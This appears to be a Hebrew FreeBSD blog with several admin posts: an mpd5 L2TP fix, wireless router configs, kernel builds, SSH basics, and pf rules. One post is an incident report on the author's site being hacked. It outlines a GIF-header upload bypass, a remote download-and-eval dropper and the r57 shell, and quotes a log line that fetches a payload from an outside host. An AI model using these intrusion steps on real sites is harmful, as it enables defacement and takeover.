התחברות לCCC

ע"י יורי ב20/02/2011

אחרי שנמאס לי לחכות לטעינת סרטונים ביוטיוב עם בזב"ל, החלטתי למרות החוסר נוחות בחייגן לעבור לספקית החדשה, טריפל-סי. לקחתי את החבילה של ה-12 מגהביט והתחלתי להגדיר את החייגן.

בתור החייגן שלי נבחר mpd5 שהתקנתי מהפורטס, אחריי קצת חיפוש בגוגל מצאתי כמה קבצי הגדרות של כמה חבר'ה רוסים: אחד שתיים, ומשם התחלתי להגדיר ולשנות (ההגדרות הסופיות בסוף).

כל פעם שניסיתי לחייג השרת (cable.ccc.net.il) כל הזמן היה סוגר את החיבור, ניסיתי שרתים של חברות אחרות (בזק, נטויז'ן, 012) שכמובן לא קיבלו ממני יוזר וסיסמא, אבל לפחות ראיתי איזשהו תהליך הזדהות מולם, השרת של טריפל-סי פשוט ניתק לי עם ההודעה: tunnel receive scccn avp unknown.

שמתי לב שגם השרת של 018 מנתק לי באותה צורה, ושגם ה-Vendor שהוא שולח זהה לזה של טריפל-סי: Juniper Networks, Inc. ניסיתי להתחבר מחלונות, שם החיוג עבר בהצלחה. מוזר, אולי הם לא אוהבים את זה שmpd5 שולח בשדה ייצרן FreeBSD? קימפלתי מחדש את mpd5 עם שדה יצרן מיקרוסופט, אך זה לא פתר את הבעיה, עדיין אותו ניתוק מעצבן. אחרי קצת זמן עם tcpdump ו wireshark מצאתי ש mpd5 כנראה שובר את הפרוטוקול ושולח את החבילה SCCCN עם שדות חובה שלא צריכים להיות שם, ועל זה השרת מתלונן.

אחריי קצת חפירה בקוד, בתוך l2tp_ctrl.c, שורה 2104:

ppp_l2tp_ctrl_send(ctrl, 0, SCCCN, ctrl->avps);

שיניתי את ctrl->avps ל NULL, כדי שלא ישלח את הAVP מ SCCRP יחד עם ה SCCCN, יכול להיות ששברתי פה מקרה קצה כלשהו בפרוטוקול, אבל עכשיו mpd5 מתחבר בהצלחה לטריפל-סי =)

באג שפתחתי בsourceforge לגבי mpd5.

mpd.conf

startup:
# configure mpd users
set user username password admin
set console self 127.0.0.1 5005
set console open

default:
load l2tp_dial

l2tp_dial:
create bundle static L2TP
set iface up-script /usr/local/etc/mpd5/ccc_l2tp_up.sh
set iface down-script /usr/local/etc/mpd5/ccc_l2tp_down.sh

create link static L2 l2tp
set link action bundle L2TP
set link yes acfcomp protocomp

set link latency 0
set link max-redial 0
set link mru 1460
set link mtu 1460
set link keep-alive 0 20

set auth authname "user"
set auth password "pass"

set l2tp peer 109.226.0.17

open

ccc_l2tp_up.sh

#!/bin/sh
LocalGW=172.20.240.1
route delete $4
#route add $4 $LocalGW
route add 109.226.0.17 $LocalGW
route delete default
route add default $4

echo $4 > /tmp/l2tp_GW
cp /etc/resolv.conf.ccc /etc/resolv.conf

ccc_l2tp_down.sh

#!/bin/sh

LocalGW=172.20.240.1
vpn_GW=`cat /tmp/l2tp_GW`

route delete $vpn_GW
route delete default
route add default $LocalGW

cp /etc/resolv.conf.hot /etc/resolv.conf
אין תגובות

עברתי דירה

ע"י יורי ב29/11/2010

יותר נכון, אני עוד לא עברתי אבל הבלוג עבר לVPS שלי בארה"ב.

אין תגובות

איך הסקריפט קידדיז בכל זאת ניצחו

ע"י יורי ב18/06/2010

או שאולי יותר נכון, איך חוסר תשומת לב קטן עלול להפיל בפח.

ביום רביעי, ה16 לחודש, בשעה 22:22 הגיעה מגוגל ישראל 87.109.217.210 חבר סעודי שכניראה חיפש אתרים ישראלים (למעשה הוא חיפש אתרים שבכתבות שלהם מופיע test ו upload) והתחיל לעבור כל העמודים שגוגל ישראל אינדקס מהאתר, ביניהם גם הדוגמאות קוד ב freebsd.co.il/test אחת הדוגמאות, שנכתבה לצורך דוגמא בלבד (וזאת הטעות), היא דוגמא להעלאת קובץ, בה השתמש הסעודי.

איך הוא עשה את זה:

  • העלה קובץ שבראשו מופיע GIF98a וכך עקף את הבדיקה היחידה שיש בקובץ ההעלאה ל mime-type של תמונה
  • בעזרת הקובץ שהעלה הוא העלה קובץ נוסף, שמקבל URL כפרמטר, מוריד את הקובץ ומריץ אותו עם eval
  • בעזרת הקובץ החדש, הריץ את הסקריפט PHP r57 כדאי שיהיה לו יותר קל והחליף את הindex.php בבלוג לזה שלו.

לקחים:

  • לא להשאיר סקריפטים זרוקים שלא נועדו ל-production.
  • לייצור sandbox לכל הניסויים, יוזר נפרד, דומיין נפרד.
  • לחסום כל תקשורת יוצאת מה sandbox.
  • לכתוב מערכת ששולחת SMS ברגע שהעמוד הראשי משתנה מהעותק הקיים.

עדכון:

אחריי כמה חיפושים לפי תאריך שינוי, הסתבר שהסעודי (אם הוא בכלל סעודי) לא פראייר בכלל ושתל בכל מני סקריפטי php את הקוד שלו בשביל להוריד ולהריץ קבצים, שישר אחרי פרסום הפוסט הזה, שינה את הindex שוב עם איום שאם לא אסיר אותו הוא יפרוץ אליי כל הזמן או משהו כזה.

בנוסף לזה חסמתי את הטווח הסעודי, מה שלא הפריעו לו לחזור מטווח של he.net האמריקאים ולנסות להריץ את הקוד שלו ממקום אחר:

65.49.14.55 joomla.freebsd.co.il - [18/Jun/2010:18:29:42 +0300] "GET /includes/.svn/tmp/props/.i.php?t0v=http://74.86.202.236/~globalho/.a/o.oxo HTTP/1.0" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0)"

זאת אומרת, http://74.86.202.236/~globalho עוד אתר שהחבר הסעודי שלנו הגיע אליו ומשמש לאחסון קבצים לפריצות הבאות.

3 תגובות

חבילת FreeBSD VPS אצל arpnetworks.com

ע"י יורי ב14/04/2010

אחרי חיפושים ממושכים אחריי VPS נורמלי שאוכל להריץ עליו FreeBSD ולקמפל עליו קרנל משלי, בעקבות המלצות בfreebsd-questions, החלטתי לנסות את arpnetworks.

ב9 לאפריל הזמנתי, למחרת קיבלתי את החשבון:

  • הגרפים לניצול רוחב פס לא מופיעים אוטמטית בפאנל ניהול וצריך לבקש שיוסיפו אותם ידנית, ביקשתי.
  • בשביל לקבל גישה לconsole של הVPS, צריך להעיבר להם מפתח ציבור שלך כדאי שיוספו לשרת שמנתב גישה לconsole, או להתחבר באופן לא מוצפן מהVNC שיש להם, העברתי מפתח.
  • וביקשתי גם PTR ל IP (IPv4) שקיבלתי מהם.

הבקשות הנ"ל תופלו תוך יום, זמן סביר יחסית למחיר ולדחיפות הבקשות.

לקמפל קרנל חדש לקח לי בערך 40 דקות ועכשיו:

 sigma.freebsd.co.il 8.0-STABLE FreeBSD 8.0-STABLE #1: Fri Apr  9 19:49:50 IDT 2010

לVPS אפשר להתחבר עם VNC או console, שרץ אצלהם, לא על הVPS עצמו, נוח למקרה שדפקתי את החוקים בפיירוואל למשל, או למשל אם אני רוצה לחלק את המחיצות בצורה אחרת, הם משאירים את דיסק ההתנקה של המערכת ב"כונן" סידירום, אפשר לבחור ב"BIOS" לעלות מה CD ולעשות מה שרוצים.

בשבוע שהיה לי את הVPS עד עכשיו, לא ראיתי בעיות מיוחדות, היה לי קליינט שכל הזמן מחובר לIRC ולא ראיתי ניתוקים, מעבר לזה להתעסק עם זה לעומק השבוע לא היה לי זמן, סה"כ אני ממליץ, המחיר משתלם וזה אחד הספקים הבודדים שמציע FreeBSD.

2 תגובות

צריבת iso DVD

ע"י יורי ב30/03/2010

קודם נטען את המודול atapicam, כי growisofs מצפה להתקן SCSI, ואילו לנו יש ATA.

$ kldload atapicam

ועכשיו נצרוב:

$ growisofs -dvd-compat -Z /dev/cd0=bt4-pre-final.iso
אין תגובות

שרת FreeBSD כנתב אלחוטי

ע"י יורי ב30/03/2010

למה זה טוב?

יש לי מחשב (המחשב שממנו את\ה קורא שורות אלו) שכל הזמן דלוק, אז למה להפעיל בנוסף עוד נתב אלחוטי? העברתי את כל הרשת האלחוטית למחשב הזה.
אפשר לראות תמונה של מבנה הרשת.

מה צריך?

  • כרטיס רשת אלחוטי התומך במצב hostap, אני השתמשתי ב Edimax EW7318USG שנקנה באייבורי. מי שמחליט להשתמש בכרטיס הזה, יש פאטץ' קטנטן שצריך לעשות, תלוי באיזה גרסת פרי-בי-אס-די משתמשים.
  • hostapd לניהול הרשת האלחוטית, מגיע עם ההתקנה של פרי-בי-אס-די.
  • שרת dhcp, יש ב net/isc-dhcp31-server.
  • פיירוואל בשביל ה-nat, אני השתמשתי ב pf.

קבצי ההגדרות השתמשתי בהם מפורטים מטה, התבססתי על קבצים מכאן. לא הבאתי את ההגדרות של pf, בגדול מה שצריך זה:

nat on $ExtIF from $WifiIF:network to any -> ($ExtIF)

/etc/rc.conf

# all the wifi stuff:
ifconfig_rum0="inet 10.0.0.1 netmask 255.255.255.0 ssid FreeBSD media OFDM/54Mbps mode autoselect mediaopt hostap"

hostapd_enable="YES"            # wireless services (clients use wpa_supplicant)

dhcpd_enable="YES"                          # dhcpd enabled?
dhcpd_flags="-q"                            # command option(s)
dhcpd_conf="/usr/local/etc/dhcpd.conf"      # configuration file
dhcpd_ifaces="rum0"                         # ethernet interface(s)
dhcpd_withumask="022"                       # file creation mask

הmediaopt הזה בנתיים נתן לי את הביצועים הכי טובים, כ-2 מגהבייט\ש, בשונה מהautoselect שנתן לי רק 100 קילובייט\ש.

/usr/local/etc/dhcpd.conf

log-facility daemon;
ddns-update-style none;
always-broadcast on;
default-lease-time 3600;
max-lease-time 86400;
authoritative;
option domain-name-servers 62.219.186.7, 192.115.106.35;
option domain-name "localnet.localdomain";
option netbios-name-servers 10.0.0.1;

subnet 10.0.0.0 netmask 255.255.255.0 {
        range 10.0.0.100 10.0.0.199;
        option broadcast-address 10.0.0.255;
        option subnet-mask 255.255.255.0;
        option routers 10.0.0.1;
}

host moon {
          hardware ethernet 00:xx:xx:xx:xx:xx;
          fixed-address 10.0.0.4;
}

host jenny-laptop {
          hardware ethernet 00:xx:xx:xx:xx:xx;
          fixed-address 10.0.0.5;
}

/etc/hostapd.conf

interface=rum0
driver=bsd
logger_syslog=-1
logger_syslog_level=0
logger_stdout=-1
logger_stdout_level=0
debug=1
dump_file=/tmp/hostapd.dump
ctrl_interface=/var/run/hostapd
ctrl_interface_group=wheel

#### IEEE 802.11 related config ####
ssid=FreeBSD
macaddr_acl=0
auth_algs=1
country_code=IL
hw_mode=g
own_ip_addr=10.0.0.1

#### IEEE 802.1X related config ####
ieee8021x=0
#### WPA/IEEE 802.11i config #####
wpa=2
wpa_passphrase=SOME_PASS_PHRASE
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP CCMP
אין תגובות

בניית עולם וליבה

ע"י יורי ב11/07/2009

תחילה נערוך את קובץ הגדרות הליבה שנמצא ב:

/usr/src/sys/<arch>/conf

כשאת arch צריך להחליף בארכטקטורה הנכונה, i386 או amd64 (לדוגמא).

לאחר מכן נעבור ל/usr/src ונבצע:

make buildworld && make buildkernel KERNCONF=<kernel name> && make installkernel KERNCONF=<kernel name> && mergemaster -p

make buildworld – בונה עולם
make buildkernel – בונה ליבה עבור קובץ ההגדרות של הליבה שצויין עם kernconf
make installkernel – מתקין את הליבה
mergemaster -p – מכין את התיקיה הזמנית עבור קבצי המערכת החדשים

עתה נבצא איתחול למערכת ונעבור שוב ל/usr/src

make installworld && mergemaster

לשים לב: אם משתמשים בZFS יש צורך לציין לinstallworld את הפרמטר NO_FSCHG=yes אחרת צפויה לנו הפתעה לא נעימה שכבר נכוותי בה.

עקוב אחר ההוראות של mergemaster על מנת לעדכן את כל קבצי המערכת

אחריי עוד איתחול, נוכל למחוק את התוכן של /usr/obj
ולהריץ

make cleandir

ב /usr/src

כמו שוודאי שמתם לב, לא עלינו בשום שלב בסינגל יוסר, כבר עדכנתי את המערכת שלי כמה פעמים בשיטה זו, ולא ראיתי שום בעיות, במקור ראיתי את הדרך הזו באחת מהרשימות תפוצה של פרי-בי-אס-די.

אין תגובות

עבודה עם שרת FreeBSD מרוחק

ע"י יורי ב1/05/2009

פעם, איי שם בעבר הרחוק, נהגו אנשים להשתמש ב-telnet (פרוטוקול וכלי) על מנת להתחבר לשרתים מרוחקים, ואז כל אחד שהיה יכול לשבת על הקו איי שם באמצע יכול היה לראות את כל המידע העובר בינך לבין השרת. הזמנים האלה אינם עוד, והיום משתמשים בSSH (בתרגום חופשי: מעתפת (שלל) מאובטחת), פרוטוקול מוצפן המאפשר רק לך ולשרת המרוחק לקבל את המידע.

איך מתחברים?

קודם כל נבחר תוכנת לקוח, שיודעת לדבר את שפת הSSH, למשל PuTTY ונפעיל אותה. נמלע את הhost הרצוי (למשל freebsd.co.il) ונלחץ open. יפתח מסך שחור ובוא הבקשה לlogin (הלא הוא השם משתמש שלך בשרת המרוחק), לאחר הקשת השם משתמש ולחיצת אנטר, תקבל בקשה לסיסמא, אך עתה, כשתקיש את הסיסמא, לא יראו תווים או כוכביות, אלה כדרכם של יוניקסים למניהם, לא תראה דבר, למרות שהתווים שם! הקש את הסיסמא ולחץ אנטר. אם הכל הלך כמו שצריך, אתה צריך לקבל את השורת פקודה של המעטפת (shell).

התחברת, מה עכשיו?

עכשיו כותבים פקודות =)

  • ls – רשימת קבצים בתיקיה הנוכחית
  • pwd – מראה את השם של התיקיה הנוכחית
  • cd – החלף תיקיה, למשל cd directory מחליף תיקיה לתיקיה directory.
  • cd ~ – מחזיר אותך לתיקיית הבית שלך.
  • cat – מראה תוכן של קובץ מסויים, למשל cat file.txt.
  • passwd – להחליף סיסמא
  • w – מראה משתמשים מחוברים.
  • write – לכתוב הודעה למשתמש מחובר, למשל write yury יתן לכתוב הודעה למשתמש yury.
  • mesg – להדליק \ לכבות הודעות שנכתבות עם write, למשל mesg n מכבה הודעות.
  • uptime – כמ זמן השרת פועל מאז שהמערכת עלתה + עומסים.
  • ps – רשימת התהליכים (תוכנות) הרצות.
  • top – מנהל תהליכים.
  • mkdir – יצירת תיקיה, בשביל לייצור תיקיה בשם test נשתמש בפקודה: mkdir test
  • cp – התעתקת קובץ, למשל: cp file1 file2
  • mv – העברת קובץ (גם שינוי שם), למשל: mv file1 file2
  • rm – מחיקת קובץ, למשל rm file
  • rmdir – מחיקת תיקיה, למשל rmdir test
  • man – מראה מידע על פקודה \ תוכנה \ קריאת מערכת \ פונקציית C, למשל: man strlen או man cp
  • gcc – מהדר סי, על מנת להדר קובץ נרשום: gcc file.c -o myExecutable
  • ./ – הרצת קובץ, למשל: ./myExecutable
  • nano – עורך טקסט פשוט וקל לשימוש. אם רוצים לערוך את הקובץ test.txt אז: nano test.txt יפתח את הקובץ בעורך.
  • joe – עורך טקסט שמדגיש קוד.
  • vi – עורך טקסט מתקדם.
  • lynx או links -דפדפן טקסטואלי
  • wget – מנהל הורדות, למשל: wget http://www.somesite.com/somefile.zip מוריד את הקובץ.
  • fetch – כנ"ל
  • exit – יציא מהמעתפת (shell).
  • ^Z – קונטרול Z – המקש קונטרול במקלדת ולחיצה על Z – עצירת (לא הפסקת) התהליך שכרגע רץ מולנו ב-foreground.
  • ^T – קונטרול T – מראה באיזה קריאת מערכת נמצא התהליך שרץ מולנו.
  • ^C – מפסיק את הליך הרץ.
  • ^D – קונטרול D – סוף הקובץ EOF. (מסיים קלט, אם במעטפת, אז כמו exit)
  • jobs – משימות רצות
  • fg – מעביר תהליך מולנו, למשל fg %1 כש 1 הוא המספר של התהליך כמו שjobs החזיר אותו.
  • bg – מעביר תהליך לרקע, למשל fg%1

הידור והרצת קובץ lex

yury@delta:~> nano test.l
yury@delta:~> lex test.l
yury@delta:~> echo hello world thisINTEGER is some test input > test.txt
yury@delta:~> ./test < test.txt
hello world thisgot INTEGER or integer
 is some test input

הקובץ lex היה:

%%
integer|INTEGER printf("got INTEGER or integer\n");
%%

העברת קבצים

על מנך להעיבר קבצים מהשרת למחשב בבית ניתן להשמשת בפורטקול SFTP או SCP, עם כל תוכנה שתומכת בהם, למשל WinSCP

2 תגובות

איך נפטרתי מהסקריפט-קידדיס שעושים bruteforce לsshd

ע"י יורי ב24/04/2009

לוקחים מפה את כל טווחי האיפי בישראל, וחוסמים את כל מה שלא מגיע מישראל. בנוסף אני גם חוסם את מי שמנסה להתחבר יותר מ5 פעמים ב60 שניות

table <Israel> file "/path/to/range/of/Israel"
.
.
.
pass in log proto tcp from <Israel> to any port ssh flags S/SA synproxy state (max-src-conn 5, max-src-conn-rate 5/60, overload <ABUSERS> flush global)
3 תגובות

קידודים זה דבר מעצבן

ע"י יורי ב24/04/2009

אין ספק שקידודים זה דבר מעצבן, אבל זה הופך להיות עוד קצת יותר מעצבן כשמדובר בכתובות.

http://www.freebsd.co.il/test/url/index.php/שלום

שומר על המבנה שלו בשורת הכתובת בלי שהייתי צריך לעשות שום דבר, וגם הURL חוזר מצויין אחריי urldecode.
אם יש בעיה ישר אחריי שמקישים את הכתובת בדפדן, אני מניח שזה בעיה בטיפול של השרת עצמו בכתובת, האפשרות הכי הגיונית זה לשנות את הקידוד ברירת מחדל לUTF-8 באמצעות AddDefaultCharset

הבעייה מתחילה כמשהו שהאתר שלו עדיין בwindows1255 (למה?! למה?!) רוצה לעשות קישור לאתר שלנו ומעתיק את הלינק בדיוק כמו שהוא:
http://www.freebsd.co.il/test/url/win1255.php
(יש פה שני לינקים, הימני עובד בסדר, השמאלי נדפק )
הלינק הימני כניראה עובר המרה ליוניקוד + urlencode ולכן עובר בסדר, ואילו השמאלי, כניראה בגלל הפרמטר נשאר בקידוד המקורי
ולכן "נדפק".

בשביל לראות את המקור, החלף סיומת php ב txt

פורסם במקור בתפוז

אין תגובות